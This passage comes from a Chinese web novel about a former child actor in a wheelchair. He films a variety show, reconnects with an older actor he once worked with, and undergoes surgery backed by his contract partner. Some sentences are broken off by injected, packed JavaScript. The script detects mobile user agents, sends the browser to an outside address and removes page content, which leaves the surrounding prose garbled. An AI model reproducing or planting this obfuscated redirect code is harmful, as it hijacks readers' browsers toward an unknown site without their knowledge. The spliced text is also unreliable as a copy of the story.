傅长汀沉默了几秒,回应却不生疏,“才几年不见,就不认识我了?以前在剧组不是喊我哥哥吗?” 此话一出,周围人或多或少露出了惊讶的眼色。 景瞬同样没料到傅长汀会主动和他叙旧,卡了壳。 喻银河好奇追问,“你们俩认识?” 喻修竹对景瞬的演艺经历还算了解,“好像是合作过?演过兄弟吧?” “是,合作过两部戏,要说起来——”傅长汀刻意模仿景瞬刚才的称谓,“小景老师出道比我早,是我的前辈才对。” 景瞬耳根子发烫,连忙否认,“傅老师说笑了,我哪里算得上?” 喻银河笑着看了一眼时间,“要不,大家都先进厅准备吧?上了这节目,以后多得是时间聊天叙旧。” “嗯。” “行。” 偌大的接待厅被划开了好几个化妆小隔间,不过门上没有贴对应的嘉宾名牌,看起来是可以随便选。 景瞬知道自己的咖位在同场嘉宾里不够看,识趣地寻了一个角落的化妆小间,他行动不太方便,所以提前在家换好了出镜服。 喻修竹递上一杯已经泡好的果茶,“来,刚给你泡的,喝点暖暖身子,妆造师马上就来。” “好,谢谢喻哥。” 喻修竹扯来边上的椅子坐下,“小景,你和傅长汀关系怎么样?熟吗?” 景瞬想起在电梯前的偶遇,微抿了一口热茶,“以前是在剧组合作过,但这些年没见过面,不算熟。” 当年两人合拍的戏份很少,前后两个剧组加在一块的相处时间也很短。 不过那会儿组里的同龄人少,景瞬是很喜欢傅长汀这位比他年长了几岁的演员哥哥,加上受到剧中角色的影响—— 在戏外,他也确实一口一个“哥哥”地喊着。 “我那个时候没有自己的微信,微博账号还是由我爸妈代为监管,所以我个人没和他加过联系方式。” 娱乐圈说大不大,说小也不小。 十年过去,傅长汀已经成了家喻户晓的实力派演员,而景瞬却遭遇多重压力和打击,直到现在都已经成了娱乐圈边缘人物。 他知道两人地位差距悬殊,所以才会中规中矩地打招呼,根本没想将这段交际拿出来说,免得被旁人误以为攀关系。 喻修竹听见景瞬的考虑,赞同他的理智考虑。 “不过,既然这次能一起录制节目,找机会重新熟络起来也不是没可能,傅长汀这些年在圈内风评挺好的,人脉资源也广。” 如果景瞬想要待着娱乐圈长久发展,势必要认识更多圈中人、幕后人。 当然,这些人脉要够干净,不能沾上那些乱七八糟的潜规则。 景瞬明白喻修竹话里的意思,忽地想起另外一件事。 趁着周围还没外人,他问,“喻哥,刚才那位孟制片,在圈内风评怎么样?” 景瞬之前不怎么接触综艺节目,对孟志德一点儿都不了解。 喻修竹回答,“孟志德在海市卫视待了将近十七年了吧?这些年做了不少节目,手中积攒的人脉应该也不少,他逢人都是笑眯眯的好脸色,还挺……” 话说到一半,他敏锐察觉出了不对劲,“小景,我刚才出去接电话的时候,孟志德对你做什么了吗?” 景瞬听见喻修竹的说法,摇了摇头,“没,我就是随口问问。” 可能是他长期心理问题导致的敏感,对孟志德突然间的接触有些偏激了? 喻修竹面色严肃,再三确认,“真没事?” 景瞬点头,“嗯。” “没事就好。” 喻修竹松了口气,着重交代,“孟志德这制片人的位置是混出来不假,但确实没听过他在圈内有什么见不得人的行为。” “不过,这节目还是银姐说了算,以后你别和他单独对接,有事让我出面就行了。” “嗯。” 景瞬内心有自己的一杆秤。 他不会轻易对别人越界,也不会随便让旁人僭越自己的底线。何况一切没有实锤,现在节目还没开始录制,多一事还不如少一事。 … 毕竟是上星综艺,景瞬的妆造耗费了将近两个小时才完成。 喻修竹刚才就出屋对接节目流程了,景瞬独自坐在轮椅上,手里还捧着剩了大半杯的果茶。 不是不爱喝,而是不敢喝太多。 时隔多年又要面对镜头,景瞬心里泛着止不住的紧张,而且他始终不如其他人走动方便,得尽量减少在外上洗手间的可能。 叩叩。 敲门声响了起来。 “进。” 景瞬原以为是喻修竹回来了,却没想到推开门的人是傅长汀,对方换了一套简单的黑白毛衣,原本生人勿进的气场消散了大半。 景瞬惊讶,“傅老师,你怎么来了?” 傅长汀解释,“工作人员说你的化妆室在这里,看你这样子应该是结束妆造了吧?介意我进来聊聊天吗?” 这堂堂视帝都已经走到门口了,哪有拒之门外的道理? 景瞬挺起身板,邀请,“当然不介意,请坐。” 傅长汀走近坐下,用并不冒犯的视线将景瞬从头到脚看了一遍,“刚才人多,不方便问,你腿怎么样?情况还好吗?” 景瞬下意识地扯了一下毛毯,“还好。” 傅长汀怕他误解,“我只是想看看我能不能帮得上忙?” 景瞬从不爱向外人展示自己的苦难,“已经找好医生、准备动手术了,应该还是有治愈几率的。” 傅长汀听见这话,真心笑了声,“那就好,其实我当初看见热搜后,第一时间联系阿姨询问了你的情况。” 景瞬还是第一次听说这事,“我妈?” “嗯。” 傅长汀的神情不像是在说谎,“你忘了?当年在剧组那会儿,你让阿姨来加我的微信,逢年过节的送祝福,偶尔还会找我聊聊天、问问我忙不忙。” “我记得,你还有一次找我诉苦,说没试上镜,不然还能和我第三次合作。” 提及这些往事,景瞬重新涌上一分对傅长汀的熟悉感,“那会儿还不太懂事呢,是不是挺打扰你的?” “不打扰。” 那会儿的傅长汀正处在事业上升期,各种通告忙得不行,同样见识到了娱乐圈里的人心险恶、复杂算计。 但景瞬每次给他的祝福和关心是真的,不掺杂任何杂质。 “三个月前听说了你的事,我就想着尽量帮帮忙,但发给阿姨的消息一直没回复。” 傅长汀那会儿正忙着在国外拍摄电视剧,托旁人也问不出个情况。 大概过了半个多月,景瞬的母亲才给他回了消息,只是双方还没聊上两句,对方就趁机提出了有些难办的要求。 傅长汀隐去一些不算愉快的交流,没多提及。 景瞬解释,“我爸妈离婚很多年了,现在各自都有新的家庭,我也不怎么和他们联系了。” 他顿了顿,紧接了一句道歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他看着身边的喻修竹,真诚道谢,“喻哥,今天也辛苦你了。” 像这种时长的节目录制,别说是经纪人了,就连助理都可以躲在后台开小差。 但喻修竹怕景瞬久违地上节目不适应、更怕他的身体吃不消,全程待在摄影机前看着,直到结束。 “我们之间不说这些客套话,而且我哪有你辛苦?”喻修竹又给他递上保温杯,“这下可以多喝点了,你要卸妆吗?” “不了,回去再卸吧。” 大概是录制节目的时候太过紧张,景瞬这会儿一放松下来就觉得很累。 “那你休息一下,我再去和银姐她们确认一遍,没其他事的话就送你回去。” “好。” 喻修竹前一秒刚走,景瞬后一秒就感受到了腕表的震动。 他连忙掀开衣袖,查看情况。 四四方方的腕表屏幕上,出现了一行消息提醒:“节目录完了?” 景瞬顷刻反应过来是谁的消息,腕表打字不方便,他直接语音回复: “迟先生,你怎么知道的?我这边刚结束,马上就回去了。” 迟归的回复来得很快:“你心跳频率这会儿才恢复正常值,我猜应该是下了节目不紧张了。” “……” 自己明明在众人面前隐藏得那么好,结果却被不在现场的迟归察觉出了端倪? 景瞬心里涌上一丝说不清、道不明的微妙,转念又觉得奇怪: 迟归这么忙的人,怎么还有功夫去看他的心跳频率呢? 居然还第一时间推断出他已经下节目了,总不可能是一直盯着吧? 思绪游离间,迟归又发来了消息:“负一层B20车位,你迟点收拾完了下来就行,不着急,慢慢来。” 景瞬反问:“你让司机来接我了?” 迟归的回复来得很简略,却重重敲在了景瞬的心上: “是我在等你。” 17.【第017章】 电梯在负一层停下。 喻修竹按着电梯的开门键,不放心地追问,“小景,真不用我送你回去?” “喻哥,我又不是三岁小孩了。” 景瞬看着执意陪同下楼的喻修竹,无奈劝道,“你直接坐电梯上去吧,喻制片不是还等着和你一块去吃饭吗?就别送了。” 他的目光往外搜寻了一圈,“迟归那边已经来接了。” “……” 喻修竹不动声色,心底晃过一丝考量。 负一层停车场是海市卫视专属,为了避免粉丝等群体的潜入打扰,必须持有对应车牌的通行件才能入内。 也不知道迟归哪里来的手段?说进来就进来了。 景瞬率先出了电梯,“喻哥,那我就先走了?” 喻修竹应话,“行吧,你明天好好休息,等后天我再去接你录节目?” “嗯。” 两人简单告别,景瞬按照指示牌往B区的方向走去,没多久,身后又传来了熟悉的声音。 “景瞬?” “……” 景瞬不得不调转轮椅方向,他认出了戴着口罩的傅长汀,“汀哥。” 对方已经换下了演出服,身边跟着三名工作人员,看样子是也收工准备回去了。 傅长汀示意助理们先去停车位,这才快步摘下口罩走到景瞬的边上,“怎么就你一个人?你经纪人呢?” 景瞬没有透露喻修竹和喻银河的亲戚关系,只说,“喻哥上去拿东西了。” 傅长汀不疑有他,反过来夸,“今天录制表现不错啊,我一开始还怕你紧张不爱说话呢。” 景瞬想起不久前的节目录制,眼里存了一丝了然,“汀哥,你是怕我镜头少吧?好几次都把话题往我这边引。” 傅长汀没有否认,“这么明显吗?我还以为我做得很隐秘。” 娱乐圈是一个很讲究“人气”、“实绩”和“咖位”的地方,虽然景瞬捡漏参加了节目,但不代表后期的镜头量就会多。 傅长汀清楚娱乐圈里的规则,是在用自己的方式带着他。 景瞬心存感激,“谢谢汀哥。” “不客气。” 傅长汀拿出自己的手机,趁机提议,“开拍前在化妆室来不及说,方便的话加个微信?你的微信。” 景瞬听见着重发音的四个字,浅浅笑开,“嗯。” 滋。 微信号顺利加上。 傅长汀又问,“你现在住哪里?要不坐我的车子送你回去?” 这一邀约刚出口,身后的经纪人就走了上来,“长汀,外面还有不少粉丝在等着呢,大家在寒风里守挺久了。” “待会儿出了停车场,你得开窗打声招呼。” 他迅速打量着景瞬,尽量委婉地提醒,“万一被人拍到你们俩坐一辆车,可能影响不太好。” 傅长汀和原公司解约后,才和现任经纪人陈江签署了经纪合约。 陈江对两人以往的交际一无所知,他只是站在经纪人的角度判断情况、给出实际建议—— 现在这个娱乐圈比以往开放多了。 即便是两个男人走在一起,指不定也能闹出什么同性绯闻。再说了,谁知道景瞬有没有抱着什么不好的心思?万一借机炒作呢? “……” 傅长汀正准备反驳,景瞬却抢先开口,“汀哥,就不麻烦你了。” 他哪里听不出经纪人的弦外之音?这点自知之明还是有的。 无论两人以前认识与否,他都应该在私下主动避嫌,不应该替自己、替对方招惹上任何舆论是非。 景瞬扯出一个合理说辞,婉拒好意,“其实我另一半来接我了,他不是圈内人,所以……不要方便露面。” “另一半?”经纪人心里的顾虑打消了一大半,笑了笑,“没看出来啊,我还以为你单身呢。” 景瞬回以一笑,没多话。 虽然他和迟归的“恋人关系”只是协议合作,但在某些时候确实能成为一个不错的推脱借口。 反正只要不是流量演员,谈恋爱就不是禁忌。 傅长汀听见这意料之外的消息,神色变了变,但他很有分寸地收回了话题,“行吧,那我就先走了,等后天节目录制再见?” “嗯,汀哥再见。” 景瞬目送着傅长汀离开,直到对方坐车扬长而去,待在原地的他才暗松了一口气。 滴滴! 后方忽地响起喇叭声。 轮胎摩擦地面的动静紧跟着响起,景瞬以为自己挡了车辆道路,连忙往边上撤。 下一秒,熟悉的黑色豪车就停在了他的面,后排车门自动打开,露出了迟归的身影—— 对方单穿了一件高领的黑色薄毛衣,车内昏黄的灯光浸润着他深邃又冷峻的眉眼,却有种意料之外的淡漠禁欲。 “……” 景瞬对上他的面容,没由来地晃了心神。 特意改造的升降设备落下。 迟归出声问他,“忙完了吧?” “啊?” 景瞬眨了一下眼,主动上前,“嗯,忙完了。” 一回生二回熟。 现在他哪怕不借助别人的帮助,也能靠设备稳当上车、固定轮椅座位了。 三分钟后,在前排当司机的韦迪发动车子,离开负一层停车场。 傅长汀的白色保姆车就停在不远处,边上围了一群等待已久的粉丝。大冷天的,粉丝们的热情却没有减少。 景瞬注意到这一幕,回过视线反问,“迟先生,你们等很久了吗?” “还好。” 迟归自然察觉到了景瞬的目光停留。 他不由按下一点儿车窗透气,特意指出,“看你和别人在聊天,是等了一会儿。” “……” 景瞬反应过来,“你说汀哥啊?” 迟归听见这声算得上亲近的称呼,又把车窗往下降了降,“你们关系挺熟的?” “……” 前排开车的韦迪暗戳戳地瞥了一眼后视镜,默默关上了前后排的车载隔板,将自己的存在感降到了最低。 “傅长汀,你有听说过他吗?”景瞬怕迟归不了解娱乐圈里的人事物,多介绍了两句,“汀哥是位很出色的演员,三十出头就已经是视帝了。” “……我不爱看电视剧。”迟归语气毫无波澜,只是将车窗一开到底。 夜里的凉风灌了进来。 景瞬实话实说,“我小时候和他拍过几场戏,没想到这次又能待在一起录节目,刚才他们见我一个人,就上前问了一下需不需要送我回去。” 迟归偏头看向他,“那你怎么不答应?” 景瞬反问,“你不是发消息说在等我吗?” “……” 迟归沉默了几秒才说,“你可以有你正常的人际交往,我不会干涉。” “嗯,我知道。” 景瞬将自己的内心顾虑说出,“汀哥现在的地位和人气不是一般人能比的,我不想引起任何不必要的麻烦,所以……” 他想起了不久前用来拒绝的那个说辞,眉心晃过一丝迟来的不自在。 迟归察觉端倪,盯着他试探,“所以什么?” 景瞬被注视得无处遮掩,“所以为了婉拒他们的好意,我说我的另一半来接我了。” “另一半?”迟归重复着这个说辞,眉梢微动,“我吗?” “……” 景瞬心里没底,说话声轻了些,“我没透露你的身份,这样也不行吗?” 话落的刹那间,迟归短促地笑了一声,“没说不行。” 景瞬一顿,突然有些说不上来的羞意,“你笑什么?” 迟归否认,“没笑,你听错了。” “……” 车窗外的风急速灌了进来,吹散了景瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079595|162817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上微妙的热意,他定了定心神,转移话题,“你那边的车窗能不能开小点?我有点冷。” “好。” 迟归将车窗关上,还将车内空调的温度往上调了调。 景瞬感受到热意回涌,放松下来,“迟先生,你今天怎么会来等我?” 迟归听见这声称呼,淡定解释,“傍晚去手底下的分公司视察,离海市卫视的录制棚挺近的,就来了。” 他不给景瞬深究这一理由的机会,明知故问,“景瞬,我们的协议已经开始一段时间了吧?” 景瞬不明所以,“嗯。” 迟归说,“既然你今天对外宣称我是你的另一半,那以后在外人面前,你是打算还喊我迟先生?不怕露馅?” 景瞬卡壳,“我……” 不喊迟先生那喊什么?直呼其名?以迟归的身份和地位,好像不太合适吧? 迟归看清他眸底显露的纠结,直接要求,“有这么为难吗?喊我名字就行。” 景瞬闷哼,“嗯。” 车子疾驰在浓郁的夜色里,四十分钟后,抵达了迟宅。 后排的两侧车门同时打开,迟归先一步下了车。 “到了,下车吧。” “嗯。” 景瞬忍住渐渐席卷上来的疲惫,他解开自己的安全带和轮椅固定扣,小心却娴熟地平移到了升降位上。 他调转座椅的幅度不慎大了些,底下的滑轮往前一偏,顷刻间连人带椅偏了重心! 景瞬慌张闭眼,近乎本能地护住了脸和脑袋。 哐当! 轮椅砸在了地上的声音重重响起,但摔倒的疼痛没有出现。 “景瞬?没事吧?” “……” 景瞬凝着呼吸睁眼,对上了迟归眼底未能散去的紧张。 男人的手稳稳落在腰间,几乎是将他整个人都圈进了怀里,柔软的衣料散发着熟悉的茶香,随着隐隐的体温挥发出令人安定的气息。 “……” 景瞬习惯了摔倒时的狼狈,却还是第一次体会到被人接应的滋味,一时间竟然有些茫然无措。 迟归见他不说话,眉心蹙起,“景瞬,回答我,有没有事?” 景瞬慢了好几拍,轻喘了一口气,“没、没事。” 韦迪赶来,将轮椅重新搬起,“先生。” 迟归将景瞬抱回了轮椅上,再三确认,“需不需要喊医生?” 月底就要动手术了,现阶段可不能出差错。 “不需要,我还好。” 景瞬想起迟归及时的接应,心尖凝上一丝暖意,“谢谢迟先……” 他及时收回了那声客套称呼,“谢谢。” “没事就好,那早点回去休息吧。” “嗯。” 两人进了屋,乘坐电梯上楼。 电梯在二楼缓缓打开,听见动静的狗宝立刻就从房间里跑了出来。 它瞧见景瞬熟悉的身影,摇着尾巴就冲了上来,四条小短腿跑得乱七八糟的,“嗷呜!呜~!” 景瞬弯腰将它抱在怀中,温声安抚,“宝宝乖,想我了是不是?” 狗宝一个劲地仰头往他怀里钻,“汪!” “景瞬。” 迟归按住电梯开门键,出声叮嘱,“很快就要手术了,接下来除了节目录制,其余时间就好好待在家里,免得再出现今晚的意外情况。” “嗯。” 迟归见好就收,按下关门键。 景瞬看着缓慢合拢的电梯门,下意识地喊,“迟归!” 迟归听见自己的名字,迅速改变了按键, “怎么?” 景瞬不知道该怎么表达心里荡起的谢意,只好将怀中的狗宝调转了方向,浅笑着挥动肉乎乎的小狗爪,“看——” “小狗对你说晚安。” 迟归迎上他的温软目光,心有所动,“嗯,收到了,你也好梦。” 18.【第018章】 节目前两轮的录制只隔了一天,景瞬配合完成了手头的工作通告,就开始全身心地投入了术前准备。 时间一晃就到了三月中旬。 独立而宽敞的病房内,宋春晖看向已经换上病服的景瞬,正式告知,“景先生,你身体的各项指标都符合手术标准,我们明天就能进行第一次手术了!” 景瞬眉心溢出一丝激动,“谢谢宋教授。” “对了,按照相关规定,得签署一下这份手术同意书。” 宋春晖看向身后的医助,示意对方将早就准备好的纸笔递了过去,“景先生,明天手术室外谁陪着你?你父母来吗?” “……” 父母? 景瞬听见这久违又略显陌生的字眼,眸色的光亮淡了下来。 他上辈子刚出事那会儿,正是最需要亲人好友陪伴的阶段,可已经离婚的景观海和徐佳每每接到医院的术前电话,总是来回踢皮球、推脱着不肯来。 就连手术结束后,双方也只是很敷衍地来过一两趟,话里话外都是不愿意承担他后续的费用和麻烦。 这样的父母,来与不来又有什么区别呢?他早就不期待了。 景瞬强压下苦涩的失望,接过医助手里的手术同意书,“宋教授,我是病患本人,我自己签好就行了吧?” 宋春晖是个明白人,已然从景瞬的失神中看出了端倪。 他没有去戳对方的伤疤,而是点头,“也行,不过这事我得和迟董说一下,景先生,今晚要早点休息。” 医疗团队是迟归花钱请来的,对方自然有知情权。 “好。” 景瞬飞速签下了自己的名字,没有丝毫犹豫。 … 夜色浓郁。 景瞬独自躺在病床上,毫无睡意。 他望着窗外透进来的暖黄灯光,听着远处归鸟时不时的叫唤,情绪有种说不出的低落和孤寂。 自从傍晚提到“父母”那个话题后,景瞬沉疴多年的心病又一次冒了出来,像是一块大石头堵得他喘不上气。 时间缓慢流动着。 在反复尝试了好几遍入睡无果后,景瞬认命般地从床上爬了起来,他扯来边上的轮椅、挪动着下了床,准备出屋透透气。 开门的那一刹那,景瞬却意外“撞”上了走廊外的迟归。 “……” “……” 四目相对,两人都怔了怔。 “你怎么在这里?” “你怎么还没睡?” 问话默契响起,又停下。 迟归的视线由上往下扫过景瞬,瞥见他身上单薄的病服,穿着拖鞋,露出了一双脚踝,纤细的、孱弱的,皮肤白得近乎没有血色。 “才处理完工作,想着来看看,见病房灯关着,还以为你已经休息了。” 迟归很克制地收回了目光,“反倒是你,明天就要手术了,这么晚了不休息,只穿这么一点儿是打算去哪里?” “……” 景瞬后知后觉地有些冷,光靠膝盖上的这点毛毯根本不保暖。 “冷了?” 迟归察觉出他的细微反应,蹙着眉劝,“没什么要紧事的话就进屋吧,我就不打扰你休息了。” “等等!迟……迟归!” 景瞬望着深夜到访的眼前人,内心深处涌出了一丝破天荒的冲动,“你有空吗?能不能陪我聊聊天?” 迟归没有急着应答,而是低头查了一眼手表,“现在?” “不会耽误你很久的,我、我有点失眠,想要找人说说话。”景瞬尝试邀请,但因为不确定而垂了眼。 “如果你不方便就算了,我……” 自我否认的话还没说完,下一秒,迟归带着温度的厚实外套就披在了他的身上。 “手机显示夜里温度只有4℃,你穿这么一点儿会感冒。” 迟归俯身和他平视,仿佛连凌厉的气场都跟着低了头,“景瞬,我现在有空,你想聊什么?” … 病房里的窗户敞开着,风里带着沁人心脾的凉。 景瞬深吸了一口气,冷意从鼻尖直冲到了肺里,浑噩的思绪顿时清醒了不少。 他透过玻璃的反光看着迟归模糊的身影,终于主动开启了话题,“今天宋教授问我,明天手术需不需要通知父母。” “我说不需要,然后自己签了手术同意书。” “……” 迟归站在他的身后,默默倾听。 宋教授和他的医疗团队都是他花钱请来的,这种情况自然第一时间就传到了他的耳朵里。 迟归听得出景瞬藏在平静下的失落,“如果你希望叔叔阿姨来陪你,明天一早,我让人去请他们。” “不用了,他们是不会来的。” 景瞬心里比任何人都清楚这个答案,“我爸妈早就各自都有了新家庭,我也不是他们唯一的孩子。” “我爸还有一个儿子,今年应该十二岁了,我妈再婚后生了一个女儿,七岁。” “……” 迟归察觉出了这话里的蹊跷,落在景瞬背后的视线更深了些。 十二岁的弟弟?七岁的妹妹? 要是没记错,景瞬口中的父母是在他十八岁那年才离婚的?到现在顶多才五六年,景瞬怎么会有这个岁数的弟弟妹妹? 景瞬将心中搁浅的秘密推出,“十八岁那年的暑假,有朋友给我发了一段视频,还问我:什么时候多了个弟弟?” 对方在商场里偶遇了景观海带着一个小男孩,两人“儿子”“爸爸”地相互喊着。 父子身边还跟着一个短发女人,并不是景瞬的亲生母亲徐佳。 景瞬当下就意识到了不对劲,少年心性的他认定父亲背叛了母亲,于是回家就拿着这段视频质问起了景观海。 “我爸一开始还想要遮掩,但后来我妈话里话外添了几把火,他们两人就当着我的面争执了起来。” 景瞬回忆起那段争吵,仍然觉得可笑讽刺,“你能想象吗?他们看向对方的眼里只有厌恶,恨不得将彼此的面具彻底撕下,什么夫妻情分都不剩。” 也是从那一刻起,景瞬才得知了真相—— 景观海和徐佳感情不睦、日常分居了好多年,夫妻关系早已经名存实亡,但两人谁都没提出要离婚! “一般夫妻不离婚,可能是舍不得孩子、怕孩子伤心,可他们两人不愿离婚不是舍不得我。” 景瞬的眉心溢出自嘲,“毕竟我不重要,他们是舍不得我赚的钱。” 影视圈里的儿童演员不在少数,但比景瞬更能赚钱的,寥寥无几。 夫妻两人谁都不舍得放弃亲生儿子这颗摇钱树,利益促使了他们维持这段貌合神离的婚姻。 “我记得他们有过一次很激烈的争吵,严重到两人抓着我逼问:要是爸妈离了婚,你跟谁?” 那会儿的景瞬才熬夜拍完一场大戏,突然直面了父母之间歇斯底里的争吵,累得筋疲力尽的他红着眼眶丢下一句—— “我谁也不跟!你们要是离婚,我就再也不拍戏了!” 或许,正是这一句话掐中了夫妻两人的命门。 从那天起,景观海和徐佳明面上的争执几乎销声匿迹,在景瞬面前又“扮回”了嘘寒问暖的好父母,但私下里他们早就达成了协议,各过各的了。 景观海早就交往了新的女朋友,而徐佳在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083305|162817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着景瞬跑剧组拍戏的间隙,后也认识了一位离婚带着孩子的男老板。 双方的交往对象都知道这段名存实亡的婚姻关系,唯一被瞒在骨子里的人,只有他们的亲生儿子景瞬。 “迟归,我十八岁前赚的所有片酬不仅养着我的父母,甚至还成了这两家人的额外来源,你说可不可笑?” 时至今日,景瞬依旧想不明白,他到底哪里做得不好?以至于没人爱他!没人心疼他! “是他们的错,可笑的也是他们。” 迟归望着景瞬落寞的背影,终于明白了他为什么从十八岁之后就选择独居,“你当时没想过走法律程序,尽可能将这些钱要回来?” “询问过律师,但最终还是作罢了。” 一来是因为所有的片酬都属于景瞬在未成年时所得,景观海和徐佳作为他的法定监护人,确实有一定的管理权和支配权。 别的不说,就连很多剧组合同都是他们代为签署的。 二来是因为景观海和徐佳,以及那会儿还在世的爷爷、外公、外婆分别来找他软磨硬泡、求情说好话,还将那套老破小的套房留给景瞬做补偿。 三来是因为景瞬的演员身份,那时又没个经纪公司,处理起来多少有些不方便。 就算景瞬从小泡在剧组里见多识广,社会经验比一般人的同龄人要多,但终究是个才满十八岁的孩子。 “我在看清事实后,是带了一点儿赌气的成分,没再和他们有过多往来了。” 但这么多年过去,当初的那点气性早已消散,而他最终认清了自己“没有父母”的事实。 夜风吹得景瞬眼眶发涩。 “……” 迟归明白景瞬当年的无助和难处,没再追问。 他上前关了窗户,替身边人挡了冷风,“你做得对。” 这样的父母,不要也罢。 景瞬偏头看向景瞬,“我今晚失眠,一是因为又想起了他们当年对我的伤害,二是因为我也、也有点怕。” 上辈子,景瞬做过大大小小好几场手术。 一开始手术室的门口还有“演戏”的迟盛和真心陪同的朋友,再后来,迟盛演不下去了,而他的朋友由于家人生病出了国。 而只要是手术,就有失败的风险,甚至还会伴随着一定量的死亡率。 景瞬知道自己没有真正可以依赖的家人,习惯了将真实的恐惧一压再压,更接受了每次带着希望、再到希望落空的过程。 “宋教授在这方面是最权威的专家,如果这次手术结束,我还是没有好转,那该怎么办?” 景瞬瞳孔深处溢出细碎的担忧和紧张。 迟归迅速制止了他的坏联想,“别想那么多,会好的。” 景瞬不确定,“真的会好吗?” 迟归接住他的彷徨,“会,一次不成功,就来第二次、第三次,我会让人再去找其他治疗方案。” 景瞬呼吸微凝,“迟归,你为什么……” 迟归猜到了他的欲言又止,给出最合适的理由,“你当初找我帮忙,不就是为了能够重新站起来?” “既然双方拟定了协议,那答应过你的事情,我就不会食言。” 迟归正对着看向眼前人,口吻平稳而坚定。 “景瞬,现在一切都还来得及。” “……” 一切都来得及? 霎时,景瞬心脏连同灵魂都跟着震了一拍。 他毫无防备地跌进迟归的眼底,那里的墨色比夜还要浓稠,对视之间仿佛能吸尽他所有的不安、迷茫和忐忑。 然后,他听见对方说: “景瞬,如果你有需要,我可以陪你。” 19.【第019章】 次日下午,手术准时开始。 景瞬觉得自己做了好长的一个梦,梦里是白茫茫的一片混沌,他什么都看不清,什么也都无力去想。 滴——滴——滴—— 直到耳畔传来不算规律的滴答声,沉寂了许久的感知慢慢苏醒。景瞬抬起沉重的眼皮,又因为过分刺眼的光亮而蹙了眉。 “唔。” “景瞬?” 有人喊他的名字,很轻。 景瞬失焦的目光慢慢凝聚在病床前,他对着迟归这张脸停滞了好一会儿,等到手术前的记忆恢复,才明白自己现在身在何处。 “……” 手术结束了? 迟归是一直在这里陪着吗? 景瞬鼻尖没由来的一酸,流露出的神色是连自己都没察觉的脆弱,他张了张嘴巴,才发现自己口鼻都被呼吸机给限制住了。 迟归将景瞬的细微变化尽收眼底,低声安抚,“你先缓缓,别急着说话。” 说完,他第一时间按动了床头的传呼铃,“麻烦通知一下宋教授,景瞬醒了。” “好的。” 整个医疗团队就是专程为景瞬服务的,听到消息后,宋春晖迅速带着医护人员赶了过来。 “景先生,你现在感觉怎么样?” 宋春晖站在病床前,俯身详细观察着景瞬的状态,“告诉我,这是几?没力气说话可以眨眼。” 景瞬戴着呼吸机不太方便,但还是一一回答了所有问题,思绪逐渐清晰。 就这样问了许久,宋春晖才示意医护暂时摘下了景瞬的呼吸机。 他从白大褂里拿起一个医用小仪器,掀开了景瞬身上的被子,用巧劲敲击了他的腿部关节,“景先生,现在什么感觉?” 景瞬有些迟钝,“有点麻。” 宋春晖换了一个位置,重复步骤,“这呢?” “好像差不多。”景瞬如实回答,“也有点麻。” 宋春晖加了一些力度,“那这样呢?” 余音刚落,景瞬就捕捉到了一丝短促的、轻微的痛意,痛得让他不可置信,“……疼?” 宋春晖笑而不语,只是又敲击了一下他的关节。 景瞬再次捕捉了这来之不易的痛感,脸上涌出了从未有过的惊喜,甚至连声线都在发抖,“疼,疼的!” 迟归目睹了两人间的问诊,眉间潜藏的那丝严肃消失了。 他代替景瞬发问,“宋教授,景瞬现在的情况算好还算坏?” “这不明摆着吗?有感觉就是好事。” 宋春晖替景瞬将被子盖好,“放心吧,第一轮的手术比预计得还要顺利,至少修复了百分之七十的神经损伤。” “景先生,好好休息,过阵子再做个全面检查,后续的治疗方案我们可以根据实际情况近一步调整。” “……” 景瞬还陷在刚才久违的感知中,一时回不过神。 宋春晖明白景瞬此刻的心情,干脆交代迟归,“请护工了吧?” “要仔细对着术后须知去做护理,暂时不能让病人乱翻身,晚点可以先吃一些流食,术后体力补充很重要。” 迟归心里有数,点头应下。 宋春晖带着医护人员离开,轻微的关门声传来。 景瞬生怕这只是自己的南柯一梦,“迟归,我、我不是在做梦,对吗?” 迟归知道他在害怕什么,认真回应,“不是做梦,宋教授说了,你的手术很顺利。” 景瞬得到这声肯定,眼眶迅速弥漫起了久违的酸涩,他迅速偏头合上双眼,压下那声快要藏不住的哽咽。 “嗯,那就好。” 不是梦就好。 景瞬深呼一口气,重新看向了床侧的迟归。 迟归对上他的目光,“怎么了?还有哪里不舒服?” 景瞬摇头,却说,“谢谢。” 从两人认识到现在,迟归帮了他太多太多—— 花钱请宋教授出面治疗,替他摆平了迟盛那样的无赖人渣。 及时察觉到他的心理问题、帮他找好了心理医生,会在手术前察觉他的不安和焦虑,甚至还会给予最直接的安慰和行动上的陪伴。 景瞬想到这儿,重复道谢,“迟归,谢谢你帮我这么多。” 如果没有眼前人,或许他还会重蹈上辈子的老路,一点点地被黑暗吞没、直到死亡降临的那一刻。 迟归听见他的道谢,“不用客气。” 景瞬总觉得自己这样的表态还不够,“我欠了你好多人情,以后都不知道要怎么还。” 虽然两人之间存在了协议合作,迟归好似是按照约定帮助他,但景瞬看得分明—— 自己是这场交易里的最大受益者,反倒迟归在这场协议里无利可获。 